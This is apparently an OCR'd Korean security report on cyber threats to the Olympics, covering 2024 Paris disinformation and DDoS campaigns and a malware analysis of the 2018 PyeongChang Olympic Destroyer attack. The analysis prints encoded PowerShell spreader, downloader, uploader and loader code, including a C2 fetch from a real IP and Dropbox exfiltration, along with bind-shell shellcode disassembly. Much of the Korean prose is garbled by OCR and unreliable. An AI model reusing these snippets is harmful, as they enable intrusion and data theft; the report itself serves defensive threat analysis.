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S0l Cigt TS 242 08 §F FHOILL 519l YRS sk TP T 4 ck
Ut ofolHOl 9IE WOIRSS MKl BHI Zeolol S YLE Sl & 45 UL,

T https://apnews.com/article/france-russia-disinformation-campaign-websites-
96de49e381cfa357fcd6d0e7d8ff1e48

2 https://www.bbc.com/news/world-europe-68733267

3 https://www.bbc.com/news/articles/c8vv18pnp910
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E(Olympics Has Fallen) CHRHIEZ|DF ZESOIRCES Ot & 50 2|7, 2Et= S2EH 2F 1244,
COJH|= eI OrZe| Afo[2A 22 & /82| 2t X[X| 50| 22 O|E|0iE Solf S+EI/U

E1T O
Ct.
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Chot CHEC| =2 22, B2 AIRS0| 21 O|H|YO|Lt &8 D|C|o] J3IE Sk AtojH ZH0f|
CEE P 301 AR ofEct.

3) &oliet m|

CHrt AEX lARRE ZHEE E MOIE, 2Y AlA =
(DDoS) 54, HO|E] o] YT HiZEet 22 250| T 4= ULt

Anonymous Sudan, Cyber Army of Russia Reborn, NoName05716, Server Killers S2f Z2 %I 2
Ao} HEHIAE TE2 QF M| J|UE2 SHE ot UCH, FHE 152 DDoS 542 = A
H|A 2GS WolMCt

2{A|Of SHE|H|AE People’s Cyber Army2t HackNeTO| 22T & 62 23 02 DA A}
O|EE CHAIOZ DDoS &S 2teHgliCts

o 1= O

4 https://www.rfi.fr/en/france/20240302-france-blames-bed-bug-panic-on-russian-disinformation
5 https://edition.cnn.com/2024/06/03/tech/russia-paris-olympics-influence-ops/index.html

® https://cyble.com/blog/hacktivist-groups-peoples-cyber-army-and-hacknet-launch-trial-ddos-attacks-
on-french-websites-prior-to-the-onslaught-during-paris-olympics/
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E|1 o S 2 HALOIESt CI2EIRUCE A & 300 Kt & 50 GiChot S48l H|O|E

7 https://www.bleepingcomputer.com/news/security/ticket-heist-fraud-gang-uses-700-domains-to-sell-
fake-olympics-tickets/
& https://www.darkreading.com/cyber-risk/how-the-2022-qgatar-world-cup-soccer-was-nearly-hacked

9 https://www.hani.co.kr/arti/society/society_general/1130965.html
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OF ofn|siom CHS| 22| A|AE! Sl |PTV, 20|If0| RDIF S 527 A{H|AJ} SCHE| Tt 10

| My S E

21248l EfQ) BRI Cham 2t

Euy Hi&

S
2018.2.317-18 LHE Ao 24 PowerShell 2444, Windows PowerShell 271 AF||
2018.2.58:33:50 CH2 20 PowerShell It AlaH
2018.2.6 20:03 QIAY =l PowerShell AlzH
2018.2.913:00 AAE O] SHHAE (wexe) S22 AHE
2018.2919:34 JHet AL 2F 30 & X O|O|Ef IfZ| winlogon.exe gl
2018.2.9 20:00 Y ST A AL Fof 2y
2018.2.9 22:00 UL M| Shutdown HEO ™=
2018.2.10 22:00 JHRrAlO TSt MH|A
2018.2.10 7:50 S2ll 3| 2U A|AH =23

2018.2.11 IOC Ol ALOJE S 4] =l
2018.2.13 04:00 HHQY A|AHI 271

2018.2.14 Atos Of CHet 324 HE13

E 2. Y 23T Aol 37 etz

Ir

A0 AEEl AHICE FA A AA”RINAM PowerShell A&, Uploader, Downloader,

4 Qict.

mrr

Loader, Wiper 822 L}

(1) Ahnsecurity.ps1- ¥20jM TE 4

o°IF

0 https://www.boannews.com/media/view.asp?idx=69042
" https://www.nytimes.com/2018/02/12/technology/winter-olympic-games-hack.htm|

2 https://www.theguardian.com/sport/2018/feb/11/winter-olympics-was-hit-by-cyber-attack-officials-
confirm

3 https://cyberscoop.com/atos-olympics-hack-olympic-destroyer-malware-peyongchang/
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O}Y 0|F2 ahnsecurity.ps122 AhnlLab OfY=Z JtE5tn, HAC=Z 52 CHYO| & AIAHO|
M PowerShell AFZES AolCt,

i f((Test-Connection -Cn $ComputerMame -BufferSize 16 -Count 1 -ea O -quiet)){

$RemotePassword = ConvertTo-SecureString $RemotePass -asplaintext —-force
$Credential = New-0Object -Typename System.Management.Automation.PSCredential
—argunent | ist $Remotellser, §FemotePassword

bcommand] = “start-process cmd,exe -argumentlist /o powershel| -enc
cywBhAGwA | ABhACAAT B AHCALLBRAG] AagB | AGEMAdALTALKAZLOBAACaAY DA asEKATwAUAFNADAByY ALUAYLIBE AF | & Z0BRAGLA LT
ByACgAKABhACALSOBPACAAQwEYAGDAC ABy AGUACwEzAGK AbwBUACAARAE] &Y AbABRAHDAZOBT AHOAC 9B | AGEALLACAF s A SHBP
LCAATAB! AGDAbwBy &HIKAUwBOAHI 4Z0BhAGDAXOBEDbAEMAbwBuAHY & Z0By AHOA X OLEAD0ARSBy A GBADOBCAGEACE | ADYANABT AH
hcaBpAGAs ZwhohCoAZABWAF | AdABT ADkAbwBIAEUAUAL AGUAaDBNADKAZwEX AFoAYLBEJAGEADLBKADAAHALZAHAL Y wBr AGY 4
bwBCADY AQgB2ZAFMASWEDAHK AdwEWAFY AcABWAFY ALWBZACs AUwBOAGI ARDBUAGDATwBUAE | AY 9By ACsAQDASA G ANCBBADC A w
BaAFEAWCOBMAGHAMwBnAFAAYWE ] ADMAZ9BAAGRAUNAZAFcATwBRADK AY OBKAEDA aABLAHEA PwBUADY AKwASAG AWgBt AFUAY A4
ﬁFIthBShEIthBSﬁBUATAEJAEthsBEhEsﬁKwﬁxﬂEEmeBxhFEththDQAbQEGAHEAbﬁEQhGEAesEHAGDﬂZan&FMhesBthl

EANABnAEQAZwBXAEEAVaBKAEK ANABIAHOADABT AGMAT adwAEEANIBaAEK AVwASADKAUABT AEsAbadwAESAZABAAGEAZgBuLEgA
SyBUAFNAegBZAHY ANaBSAGKACABJAHK AW AwAGEACWBUAEDADAR| AEAANABIAEEANSBY AEEANSBY AFoASwB AGLA SBEADMAYD
BCAHCACABhAFUAUQESAGEADAAWAEKAZABZADALagBY Al AZwBF AHYAZOBy AHUANABAAGK A2wBHADY 4 ZUBAAGEA SwBSADC AdUB)
4GMAY9BEAHC AcBGAEDAeaBy AGDALCBx AHA AOABPAGUALNEZAGM haw A JADMANIBSAGC AbwBt AGK A Y(B4A G ARGBBAF DAY wBOAG
MARCBT AGaAUOGaAGK ALUaBhAFMAMEOE.)AGo A RABZAHUADLG] AFUALwASAESAT 3Bh AESAWABQAECALCENAEY A TwADADUALwAY AGHA
WaA1 ADI AUgBhADEADWEEAGo ALUDBKAHAARGBYAD | AclBkAFAAMAAZACS AWABNAGC ASWBAAFY ACLBEAHAACUB | AGwASaBI AFAAZw

12| 1. Ahnsecurity.ps1 QIX} gt

ahnsecurity.ps12 hosts.txt Lif AEE CHNOZ 2HOZ PowerShell AIZHEE AT}
Ql1F HH(Credential = AFBXAIP+INARIE)D}L MSkls ARt OHX| Q2 F2, 25 35 +

o - S
Ue 215 EXelt,

"start-process cmd.exe —argument|ist 'fc powershel| —enc SOBmACQAJABOAFMAVGE | AH| AUWBpAEBAbGBUAGEAYGBMAGLALGBQAFMAVGE | AF
"Clear—EventLog 'Windows PowerShel | |

"start-process cmd.exe —argumentlist '/c powershel| —enc cwBhAGHA | ABRACAATGE | AHCALOBPAG | AagB | AGMAdAATAGKAZOBAACGAYQAD
"Clear—EventLog 'Windows PowerShel | |

T2l 2. A A|AEI|AN Powershll.exe A%

Hh=2t &4(0bfuscateWithEnvwar)2 AFESHA Aliet AJZEES H=Eot of & MHEIC), A
o ASREE HEHHSHEEE AL [A-Za-20-9] 5AtE| EA1E X282 &tPdH+HE M5 S
E0t T AUAPP|H MY S0= oiiT HE AK[SICE 5= PowerShell AFZEE Aol &
Ol= sliiE Windows PowerShell O|HIE 271 H5 AFK|GHC), Adl IPY2 ~log.txtOf| 7|SSICt
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(2) Downloader

O E EXSHK| Y2 PowerShell.exe QIX gfC2 AdH (MM Al =

rr

HESHEICY,

CodWindowstSysten 32 indowsPowerShe | 141, Moowershel | exe -Nonl -W hidden —enc SUBmACoAJABOAFMAYSEIAF|AUWE]A
wBj AGEAdABpAGEAbgBMAGEA ZwBnAGKkAbaBnACC AXDASADSA f AL AHY ALIUBHADOAWWEDAESAT ABs AELAY wBLLEL AT wBuAFMALgBHAELIATaBF A
wB| AGAARUBYAGKAYwhuAEgAYOETAEgALWE | AFLAYWET AFDACgBJAEAL ZwBd A Ck AKIBIAF s ALIGE | AEY A XQAUAEEL LIWBT AELAGOET A GwAWCIA A
[BE0AGUAYaBhAGRA LBk AGEADAERAGEAbaBDAGEARABSAG| AYOB] AGs A | AASACA ek AHDAC 9B AGLIA f QA TACCAdwE] ACALSABFAGES ZABFAI
ABTAF=AJABKAFOALA &L AFMAWW A AFEAXOBIAD: A JABEAHWA JUBTACHASIASA Cad JABIACS AMLIAR ACUAM G T ADY A0wAK AE9APUADACLIA S A r Al

2] 3. PowerShell.exe QIXt 2t

AAZEE= hxxp://93.170.77.107:443/info, /download SO0{|AM ItY S CIREEDICY

R =1
50,
BK = $hrgs;
$5 = 0., 255;
0..285 | %1
%{E %$J + $30%_] + $K[$_ % $K.Count]) ¥ 256;
S[$J] = $3[54],
s3]
01 4
| = (%l + 1) % 25B;
H=($H + $30511) ¥ 266;
s[41]
S[$H] = $5[%H]
RN
\ _ — brOr$SLOEE051] + $S[3H]Y % 256]
}:
$ser = "https://93.170.77.107:443 ;
%t = Jinfo/

fWc HEaDerS. A00( "Cookie”, "session=LBOY2gBH)xYJxkHhE/a0007c8ke=");
fdata = $UC.DoWH|oADDaTal$%er + $t);

$iv = $DaTaln, . 31;

fData = $datald, fDath. lenGtH];

=doin[Char[1]1( & $R $Datal$Iy + SK3) | IEX

a3 4, CHREE FE

CIRE2E &l OtUL2 PowerShell ATZIE m0|C},
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(3) Uploader

OfE2 EXHX| 252 PowerShell.exe QI gio= ol (HH| &l A== HH=2f)EICE

[ |

rr

powershel | -enc

cwBhAGwA | ABhACAATaB | AHCALOBPAG] AagB | AGMAdAATAGK A ZLBAACaAY DA g AEK ATwhuAFMAdA By A GLIAYCIBE AF | AZLIER & GLIAZL]
By 4 CahkABhACA L SOBPACA OwBy AGODACABY AGULCwBzAGK AbwBUACAARAE| AGY ADABRAHUAZLET AHUAc 9B | AGEABLDA0AF s ASEBP
ACAATRB! AGDAbwEY AHKALUWEDAH 4 Z0ERAG0A X IBbAEMAbwBu A HY & 2By AHA X 64D ARaBy AGBALIBCAGEACwE | ADY AHABTAH
QacoBpaGdadwboACcAZABWAR | AdAET ADKADWESAELALSAT AGLALENADK S SwER AF oY UEJAGEAdLBKADAAMA L ZAHA LY wEr A GY A
bwBCADY ALaBZAFHASWEDAHE AdwBWAFY A ABWAFY A wBZACs AUWBOAG | ARLBUAGOS TwBUAE| AY 9By ACsADLASA Gy ANIEES Do by w
BadFEAWCOBMAGHAMwEmAFALYwE] ADMAZ9BAAGLALLAZAFC AT wBRADK AVOBK AEDL a4 BLAHEARWELADY A kwABAG] AWaBt AFUAY L4
AF 1 AYABEAE] A wBIAGUAT AB AEKANGEBAES Aw b x b EQAK wEx AFELMA By 400 BLBGAHEAD ABDAGEL e gBMAGDA ZoBx A FMAegBpAH
EAHABmAELS ZwEX AEESY 9Bl AEK ANABIAHOALABT AGMAT gAwhEEAWGBEasEKAYwAIADKALUAR AEsAbgiwAESL FABAAGEL ZgBUAEa L
SwBLAFMA=gBZARY AW aBSAGK AcAB A HK A Dw Aw b GEACwBUAEDLOAB | AEAANABIAEELN 9By AEEAN 9B AF 0 A SwBwAGLIAS9BEEADMAYL
BCAHCACABhAFUAUgBsAGEAbA AwAEKL AZABZADS AagBY AGe AZwBFSHY & 208y AHUA M ABAL GL b awBHADY 4 ZLBAAGEA SwBEADC Ad LB
AGMAWgBEAHC AcOBGAEDAe 9By AGOALLE: AHAADABPAGUALDEZAGH & aw A JADMANSBSAGe AbwEL AGKAY DBAAGWARIBEAFLAY wBOL G

A3 5. Uploader?| PowerShell 21X} gf

‘Cmd.exe /c hostname' @WHOZ A|AHIO| Hostname Y=Lt diE Hostname OIYHE 2F
= CSV ItYS EH Dropbox0l HYZESICH,

it{ parami [String)$Bady = ™, [String]SHeader = ™ ) SWebRequest = [System. Net. WebRequest]::Createhitps./content. dropboxapi com@/files/uplead ) SWebRequest. Me
m.Text. Encoding]::UTF&.GetBytes(SBody)

ngth 8WebRequest.Headers. Add("Authorization” "Bearer CMBPKIT 0wHAAAAAAALLL
1)) 8WebRequest Headers. Add(SHead, $Value)

2zzelmSSoEQMeTHWDTpTGhghBuPCiRpPt_M42eqRFZ2") EHead = SHeader S

stStream() SrequestStream. Write(SPostStr, 0, 3PostSir length) SrequestStream Close()
) 3ResponseStream = 3Response. GetResponseStream() SReadStream = New-0bject System 10, StreamReader $ResponseStream SData=SReadStream.ReadToEnd()

inet = "/" + Shostname + ".csv" Sheader = Dropbox-APLArg: {"path™ ™ + Spath_inet + ™ "mede™ "add”™ "autorename”. true,"mute”™; false} Scontent="" Invoke-Webclient -|

a3 6. AMAHEH HH £F A

(4) Loader

Oid=2  EXWSHK| 942 PowerShellexe QIX} oz Adl (adx| A FE= H=IhE=ICH
PowerShell QIX} LH Base64 HEWZ Gzip LtA0| Z=X{THCE.

—

powershel | . exe —-noni -nop -w hidden —-c &(lscriptblock]::createl(Mew-0Object 10, StreamPeaderiNew-
Object 10, Compression.GzipStrean((Hew-0Object |0.MemorvStrean(, [Convert] ::FromBaseBAString

{'Has | &PoJfFoCATYWEY /aSB0+nEr 301 aF ZFshYEkalNpEanPdws AslswECFFEGET thFq8) rw | Or / /975 Gk ETW 20860
+RnZdnnpndcZDHHi o= | gog f¥n54mj opuBalligbgOMGakoY t5ioF0es i ncy 30t v Z0U0ZdkbbZ25by AvGz | a¥pivp i r i DEswy
v ETaTFGIPEY JhFHEBnHEGE t o+ | JYPE WukFUBtBRrWqdkYe | Ej 3221 20ekB0Un | USrsaf PErg K SxqH ucpdn i uwliGe f rok
+prEpfYeHwpkiwlved | TKHBOwZ | f HZaWOUZ2EAB2EE 9 /uYFBzPZEW i gF

+Ke TG00 AeYWC/ regwHKBMO30, <R 11 Bxdw1 2 qclBpY X pD&Veer /OYOTWGEPYSET | ni AHRDPJ 2 un Ts U3y Mg AUy wPeHoHIY S¥ng
BFJOnapYsHUzMPYMzyneadra) DDy YPRERM [k X299+eL | |

72l 7. Loader?| PowerShell QIX} 2t

Ahnlab ?
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- o

Gzip OFY LHOf| PowerShell TfU0| =XSHH PowerShell ZE0{l= 64 H|E ShellCodeE E2I6H

1 UL

function vl {
Param ($uG21B, $aull)
$iMES = ([prDomaln].:CurrentDomain.Getﬂssemblies() | Hhere-Object { $_

: return $jMKS.GetMethod( GetProcAddress’).Invoke{($null, @{[System.Runtim

function qprl {
Param
[Parameter(Position = @, Mandatory = $True)] [Tupelll #$gbl,
[Parameter{Position = 1)1 [Tupel %aeam = [Void]

)

$wbs = [AppDomainl: :CurrentDomain.DefineDynamicAssembly({New-0bject Sus
oClass’, [System.MulticastDelegatel)

$w6s . DefineConstructor{ 'RTSpecialName, HideBySig, Public’, [System.Refl

$w6s.DefineMethod{ Invoke’, "Public, HideBvSig, HewSlot, Virtual . %aeq

return $uwbs.CreateTypel)

}

[Bytel1l$oq = [System.Convertl::FromBase64String(”/EiBSPD////0zARAREFRQYBSUYZIN
FYQVheWWpBYEFZQVpTg+wgQYL/4FhBUYpTixl pS/// /11 JundzM182zMgAAQYZ J1e/TgeygANAASYN1S

13 8.GzIP It L PowerShell A3ZE AL

92}

hellcode= LISTENING ~EHZ 443/TCP RE (Y2 40491, 42017, 43842)E LYO{=Lt
HIO|EQ| 22| FV|E ot HHTICt HEKIZ AN oMol J|s2 6

=
=1
=

ASF 24O b= |
=Y 4R 4 = o
= = = — 4‘
ELE 20 Y HO|ZEZ HOojS H2ICt Payloads =RIE[X] EUCL
seg000: 0000eRROFFEC3BCO mov rl3, rsp ;3 rl3 = 1FFC18
Segovo: 0oBRRBBFFEC3BC3 xor rax, rax
5egoBo: 0oBVRBOBFFEC3BCE push rax
5eg0v0 : 0oBBeRRBFFEC3BCT7 push rax
5eg0oo: PoRRRRBBFFEC3BCS mov rl2, BBSE‘ME@Eh ; Port = 443 (@x1BB)
segoeo: 0oeoRRREFFEC3BD2 push ri2
segoeo: 0oBoRRRBFFEC3ED4 mov rl2, rsp
5eg0oo: 0BBRBRBFFEC3BD7 mov rcx, rl4
5eg000: @000RA0OFFEC3BDA mov r1@d, 726774Ch ; LoadLibarayA
segdo0: GB0RARRFFEC3BED call rbp ; LoadlLibraryA = @x@@FFEC3ADD
5eg000: 0OBVRBOBFFEC3BE2 mov rdx, rl3 3 rl3 = Ox001FFC18
Seg0oo: 0PBBRBROFFEC3BES push 191h
segoeo: 0BoRRRBOFFECSBEA pop rex
seg0o: 0oeoRREFFECSBER mov rled, 6B382%h 5 WSAStartup
segbeo: 0peoRRROFFECSBFL call rbp ; @x@BFFEC3ADD (GetAPI)
segbdo: 00BRBROFFECSBF3 push 2
segoo : 0BeBRRROFFEC3BFS pop rex
segoo: 0bBRRBROFFEC3BFE6 push rax
seg0do: 0BBBRRROFFEC3BF7 push rax
seg0oo: 00ooRBROFFEC3BFS xor r9, r9
segoeo: 0eooRoROFFECSBFE xor rg, r8
seg0o: 00BeRBROFFECSBFE inc rax
sSeglo: 0veoeeREFFEC3COL mov rdx, rax
seg0do: 00BRRROFFEC3Co4 mov rled, GE@DFBFEAh ; WSASocketA
s5eg0d0: 0B00RRROFFECSCOA call rbp ; Ox@BFFEC3ADD (GetAPI)
Segodo: 00eeeRRaFFEC3CAC mov rdi, rax
s5eg000: 600RR0RRFFEC3COF push 16h
Seg0o: 0eoeeReFFEC3CLL pop r8
Seg0eo: 0eepeeRorFEC3CL3 mov rdx, rl2
5egd00: GoRRRRRFFEC3C16 mov rcx, rdi
SeglBe: 0eeeeeRerFEC3C1Y mov rled, 6737DBC2h ; bind
seg00o0: 0000RROFFEC3CIF call rbp ; Ox@OFFEC3ADD (GetAPI)
5eg000: 0000R00RFFEC3C21 xor rdx, rdx
segdoo: 0BORRRORFFEC3C24 mov rcx, rdi
sSeg0d0: 0eeRRRRRFFEC3C27 mov rled, ©FF38E9B7h ; listen
5eg000: 0000RRRRFFEC3C2D call rbp ; Ox@BFFEC3ADD (GetAPI)
seg000: 0e00RRROFFEC3C2F xor rg, r8
5eg000: G000ARRFFEC3C32 xor rdx, rdx
Seg@00: GR0RRRRFFEC3C35 mov rcx, rdi
s5eg000: B00RRRRFFEC3C33 mov ri1@d, @E13BEC74h ; accept
5eg0eo: 0oBRRRRBFFEC3C3E call rbp ; Ox@@FFEC3ADD (GetAPI)
s5eg000: G00RARRFFEC3C40 mov rcx, rdi

a2l 9, Shellcode L&
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(5) RemCom

22 YT AIARO)M TRHA AR U I SARSID, PsExecet RAF

rd
N
or
mjo

of
o

.BBLBB1CAH: ; ; ) RemComSwv
.0BLBB1DA ; ; ) C Service A se
.BB4BB1ED: } } ) rvice Cannot be

.B04BB1FO: ; ; ) started directly
.004L0B200: ) ) ) .B RemCom_stder
.0B4BB216: ; ; ) r RemCom_stdin
.0BLBB220 - ; ; ) A\ A\plpe\isk
.BB4BB230: } } ) s%d RemCom_stdou

.0040B240 : . . . t  %s M\ \pipe
.084BB250 ; ; ) \RemCom_communic
.BBLBB260 ; ; ) aton

SIEL|A3 W HO|EE AA[Sts Wiper SPdZEI} O|ZEIUCE™ HeteX & =2 AE Z&
S +HotH XM T s UUCE

ARX AT| HHARI IZA Atos SH0| AHEE UHITE Dropper?| ZE ERp= 20173 12
2 27%Y 204 392 22x0|H TY ST 2P T THO| AFE IHYUQ| YE Imi= 20174
129 272 20A| 438 12X2 = X|0|7} QiCt 22T XZlof CHSH 2HL Xo{E 2017H 12¢
TEH THEAS 7580 =L

WX 22/ 224 XX Z2H0|| AFREl Wipers T JHK| O] EXSHL,

AR B I e AZE2 20173 128 27% 94| 32 48X0|Ct

4 https://github.com/kavika13/RemCom

S https://blog.talosintelligence.com/olympic-destroyer/
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i, Data Description “alue
Q04000EC 014 blachine IMAGE FILE MACHINE 13586
QO0ADO0EE 0005 Mumber of Sections
a04000F0 5A4361F4  Time Date Stamp 207 A7 09:03:458 UTC

O] 11, A Wiper OfY 2= A2t
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19Z0|C}. JHEfA] 270l S| g0l = &l HTOICE

0O4000EC 014c Machine IMAGE FILE MACHINE 356
0o4000EE 0005 Mumber of Sections
004000F0  BA7D7BOB  Time Date Stamp 2018/02/09 10:42:19 UTC

3] 12, SHM Wiper By 4E A2t
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S0l
AMAR 2F Al TEE[0f =S QJESHK| T, JtStE Solf dl&et 5

o | =/
ST}, Active Directory 22| Al 2|t AFS A6t 2E0| Y Oy
O[5HOF BTt
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S40|| CHH|SHOF STt
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8 https://securelist.com/olympicdestroyer-is-here-to-trick-the-industry/84295/
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[1] Esports league postponed after players hacked midgame

( https://techcrunch.com/2024/03/18/esports-league-postponed-after-players-hacked-
midgame/)

[2] How Russia is trying to disrupt the 2024 Paris Olympic Games

( https://blogs.microsoft.com/on-the-issues/2024/06/02/russia-cyber-bots-disinformation-
2024-paris-olympics/ )

[3] Phishing for Gold: Cyber Threats Facing the 2024 Paris Olympics

( https://cloud.google.com/blog/topics/threat-intelligence/cyber-threats-2024-paris-
olympics?hl=en)

[4] Defending Gold: Protecting the 2024 Olympics from Cyber Threats

( https://www.tripwire.com/state-of-security/defending-gold-protecting-olympics-cyber-
threats)

[5] Paris Olympics ( https://www.cyfirma.com/research/paris-olympics/ )

[6] Ticket Heist: Olympic Games and Sporting Events at Risk

( https://quointelligence.eu/2024/07/ticket-heist-olympic-games-and-sporting-events-at-
risk/)

[7] Checking in on the state of cybersecurity and the Olympics

( https://blog.talosintelligence.com/threat-source-newsletter-july-12-2024/)
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